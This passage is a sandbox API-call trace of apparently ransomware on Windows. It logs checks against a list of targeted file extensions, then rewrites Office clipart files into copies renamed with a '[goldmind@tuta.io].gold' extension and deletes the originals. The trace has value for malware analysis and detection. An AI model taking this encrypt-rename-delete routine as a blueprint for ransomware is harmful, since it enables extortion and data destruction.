(lpString=".xls") returned 4 [0110.558] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0110.558] lstrlenW (lpString=".xlsx") returned 5 [0110.558] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0110.558] lstrlenW (lpString=".ppt") returned 4 [0110.558] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0110.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF") returned 63 [0110.558] lstrlenW (lpString=".zip") returned 4 [0110.558] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0110.558] lstrlenW (lpString=".rar") returned 4 [0110.558] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0110.558] lstrlenW (lpString=".bz2") returned 4 [0110.558] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0110.558] lstrlenW (lpString=".7z") returned 3 [0110.558] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0110.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF") returned 63 [0110.558] lstrlenW (lpString=".dbf") returned 4 [0110.558] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0110.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF") returned 63 [0110.558] lstrlenW (lpString=".1cd") returned 4 [0110.558] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0110.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF") returned 63 [0110.558] lstrlenW (lpString=".jpg") returned 4 [0110.558] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0110.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF") returned 63 [0110.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF") returned 63 [0110.559] lstrlenW (lpString=".doc") returned 4 [0110.559] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0110.559] lstrlenW (lpString=".docx") returned 5 [0110.559] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0110.559] lstrlenW (lpString=".pdf") returned 4 [0110.559] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0110.559] lstrlenW (lpString=".xls") returned 4 [0110.559] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0110.559] lstrlenW (lpString=".xlsx") returned 5 [0110.559] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0110.559] lstrlenW (lpString=".ppt") returned 4 [0110.559] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0110.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF") returned 63 [0110.559] lstrlenW (lpString=".zip") returned 4 [0110.559] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0110.559] lstrlenW (lpString=".rar") returned 4 [0110.559] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0110.559] lstrlenW (lpString=".bz2") returned 4 [0110.559] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0110.559] lstrlenW (lpString=".7z") returned 3 [0110.559] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0110.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF") returned 63 [0110.559] lstrlenW (lpString=".dbf") returned 4 [0110.559] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0110.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF") returned 63 [0110.559] lstrlenW (lpString=".1cd") returned 4 [0110.559] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0110.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF") returned 63 [0110.559] lstrlenW (lpString=".jpg") returned 4 [0110.559] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0110.559] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0110.559] lstrlenW (lpString="J0153265.WMF") returned 12 [0110.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153265.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0110.560] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=3008) returned 1 [0110.560] CloseHandle (hObject=0x3c4) returned 1 [0110.560] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153265.wmf")) returned 0x20 [0110.560] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153265.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0110.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153265.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0110.560] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.560] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153265.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0110.561] GetLastError () returned 0x0 [0110.561] ReadFile (in: hFile=0x3c4, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0xbc0, lpOverlapped=0x0) returned 1 [0110.562] WriteFile (in: hFile=0x3b0, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xbd0, lpOverlapped=0x0) returned 1 [0110.563] ReadFile (in: hFile=0x3c4, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0110.563] WriteFile (in: hFile=0x3b0, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0110.563] SetEndOfFile (hFile=0x3b0) returned 1 [0110.563] CloseHandle (hObject=0x3b0) returned 1 [0110.563] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.563] SetEndOfFile (hFile=0x3c4) returned 1 [0110.565] CloseHandle (hObject=0x3c4) returned 1 [0110.565] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0110.565] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153265.wmf")) returned 1 [0110.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF") returned 63 [0110.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF") returned 63 [0110.566] lstrlenW (lpString=".doc") returned 4 [0110.566] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0110.566] lstrlenW (lpString=".docx") returned 5 [0110.566] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0110.566] lstrlenW (lpString=".pdf") returned 4 [0110.566] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0110.566] lstrlenW (lpString=".xls") returned 4 [0110.566] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0110.566] lstrlenW (lpString=".xlsx") returned 5 [0110.566] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0110.566] lstrlenW (lpString=".ppt") returned 4 [0110.566] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0110.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF") returned 63 [0110.566] lstrlenW (lpString=".zip") returned 4 [0110.566] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0110.566] lstrlenW (lpString=".rar") returned 4 [0110.566] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0110.566] lstrlenW (lpString=".bz2") returned 4 [0110.566] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0110.744] lstrlenW (lpString=".7z") returned 3 [0110.744] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0110.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF") returned 63 [0110.744] lstrlenW (lpString=".dbf") returned 4 [0110.744] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0110.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF") returned 63 [0110.744] lstrlenW (lpString=".1cd") returned 4 [0110.744] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0110.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF") returned 63 [0110.744] lstrlenW (lpString=".jpg") returned 4 [0110.744] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0110.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF") returned 63 [0110.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF") returned 63 [0110.744] lstrlenW (lpString=".doc") returned 4 [0110.744] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0110.744] lstrlenW (lpString=".docx") returned 5 [0110.744] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0110.744] lstrlenW (lpString=".pdf") returned 4 [0110.744] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0110.744] lstrlenW (lpString=".xls") returned 4 [0110.744] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0110.744] lstrlenW (lpString=".xlsx") returned 5 [0110.744] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0110.744] lstrlenW (lpString=".ppt") returned 4 [0110.744] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0110.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF") returned 63 [0110.745] lstrlenW (lpString=".zip") returned 4 [0110.745] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0110.745] lstrlenW (lpString=".rar") returned 4 [0110.745] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0110.745] lstrlenW (lpString=".bz2") returned 4 [0110.745] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0110.745] lstrlenW (lpString=".7z") returned 3 [0110.745] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0110.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF") returned 63 [0110.745] lstrlenW (lpString=".dbf") returned 4 [0110.745] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0110.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF") returned 63 [0110.745] lstrlenW (lpString=".1cd") returned 4 [0110.745] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0110.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF") returned 63 [0110.745] lstrlenW (lpString=".jpg") returned 4 [0110.745] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0110.745] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0110.745] lstrlenW (lpString="J0153307.WMF") returned 12 [0110.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153307.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0110.755] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=15448) returned 1 [0110.755] CloseHandle (hObject=0x3b4) returned 1 [0110.755] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153307.wmf")) returned 0x20 [0110.800] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153307.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0110.800] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153307.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0110.800] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.801] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.801] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153307.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0110.801] GetLastError () returned 0x0 [0110.801] ReadFile (in: hFile=0x19c, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x3c58, lpOverlapped=0x0) returned 1 [0110.809] WriteFile (in: hFile=0x194, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x3c60, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x3c60, lpOverlapped=0x0) returned 1 [0110.809] ReadFile (in: hFile=0x19c, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0110.809] WriteFile (in: hFile=0x194, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0110.810] SetEndOfFile (hFile=0x194) returned 1 [0110.810] CloseHandle (hObject=0x194) returned 1 [0110.810] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.810] SetEndOfFile (hFile=0x19c) returned 1 [0110.811] CloseHandle (hObject=0x19c) returned 1 [0110.812] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0110.820] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153307.wmf")) returned 1 [0110.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF") returned 63 [0110.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF") returned 63 [0110.922] lstrlenW (lpString=".doc") returned 4 [0110.922] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0110.923] lstrlenW (lpString=".docx") returned 5 [0110.923] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0110.923] lstrlenW (lpString=".pdf") returned 4 [0110.923] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0110.923] lstrlenW (lpString=".xls") returned 4 [0110.923] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0110.923] lstrlenW (lpString=".xlsx") returned 5 [0110.923] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0110.923] lstrlenW (lpString=".ppt") returned 4 [0110.923] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0110.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF") returned 63 [0110.923] lstrlenW (lpString=".zip") returned 4 [0110.923] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0110.923] lstrlenW (lpString=".rar") returned 4 [0110.923] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0110.923] lstrlenW (lpString=".bz2") returned 4 [0110.923] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0110.923] lstrlenW (lpString=".7z") returned 3 [0110.923] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0110.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF") returned 63 [0110.923] lstrlenW (lpString=".dbf") returned 4 [0110.923] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0110.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF") returned 63 [0110.923] lstrlenW (lpString=".1cd") returned 4 [0110.923] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0110.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF") returned 63 [0110.923] lstrlenW (lpString=".jpg") returned 4 [0110.923] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0110.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF") returned 63 [0110.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF") returned 63 [0110.923] lstrlenW (lpString=".doc") returned 4 [0110.923] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0110.923] lstrlenW (lpString=".docx") returned 5 [0110.923] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0110.923] lstrlenW (lpString=".pdf") returned 4 [0110.923] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0110.923] lstrlenW (lpString=".xls") returned 4 [0110.923] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0110.923] lstrlenW (lpString=".xlsx") returned 5 [0110.923] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0110.923] lstrlenW (lpString=".ppt") returned 4 [0110.923] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0110.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF") returned 63 [0110.923] lstrlenW (lpString=".zip") returned 4 [0110.923] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0110.923] lstrlenW (lpString=".rar") returned 4 [0110.923] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0110.923] lstrlenW (lpString=".bz2") returned 4 [0110.923] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0110.923] lstrlenW (lpString=".7z") returned 3 [0110.923] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0110.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF") returned 63 [0110.923] lstrlenW (lpString=".dbf") returned 4 [0110.923] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0110.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF") returned 63 [0110.924] lstrlenW (lpString=".1cd") returned 4 [0110.924] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0110.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF") returned 63 [0110.924] lstrlenW (lpString=".jpg") returned 4 [0110.924] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0110.924] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0110.924] lstrlenW (lpString="J0153508.WMF") returned 12 [0110.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153508.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0110.943] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=34256) returned 1 [0110.943] CloseHandle (hObject=0x19c) returned 1 [0110.943] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153508.wmf")) returned 0x20 [0110.951] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153508.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0110.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153508.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0110.957] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.957] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153508.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0110.958] GetLastError () returned 0x0 [0110.958] ReadFile (in: hFile=0x3b8, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x85d0, lpOverlapped=0x0) returned 1 [0110.964] WriteFile (in: hFile=0x3bc, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x85e0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x85e0, lpOverlapped=0x0) returned 1 [0110.965] ReadFile (in: hFile=0x3b8, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0110.965] WriteFile (in: hFile=0x3bc, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0110.965] SetEndOfFile (hFile=0x3bc) returned 1 [0110.965] CloseHandle (hObject=0x3bc) returned 1 [0110.965] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.965] SetEndOfFile (hFile=0x3b8) returned 1 [0110.967] CloseHandle (hObject=0x3b8) returned 1 [0110.967] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0110.998] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153508.wmf")) returned 1 [0111.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF") returned 63 [0111.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF") returned 63 [0111.070] lstrlenW (lpString=".doc") returned 4 [0111.070] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0111.070] lstrlenW (lpString=".docx") returned 5 [0111.070] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0111.070] lstrlenW (lpString=".pdf") returned 4 [0111.070] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0111.070] lstrlenW (lpString=".xls") returned 4 [0111.070] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0111.070] lstrlenW (lpString=".xlsx") returned 5 [0111.070] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0111.070] lstrlenW (lpString=".ppt") returned 4 [0111.070] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0111.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF") returned 63 [0111.071] lstrlenW (lpString=".zip") returned 4 [0111.071] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0111.071] lstrlenW (lpString=".rar") returned 4 [0111.071] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0111.071] lstrlenW (lpString=".bz2") returned 4 [0111.071] 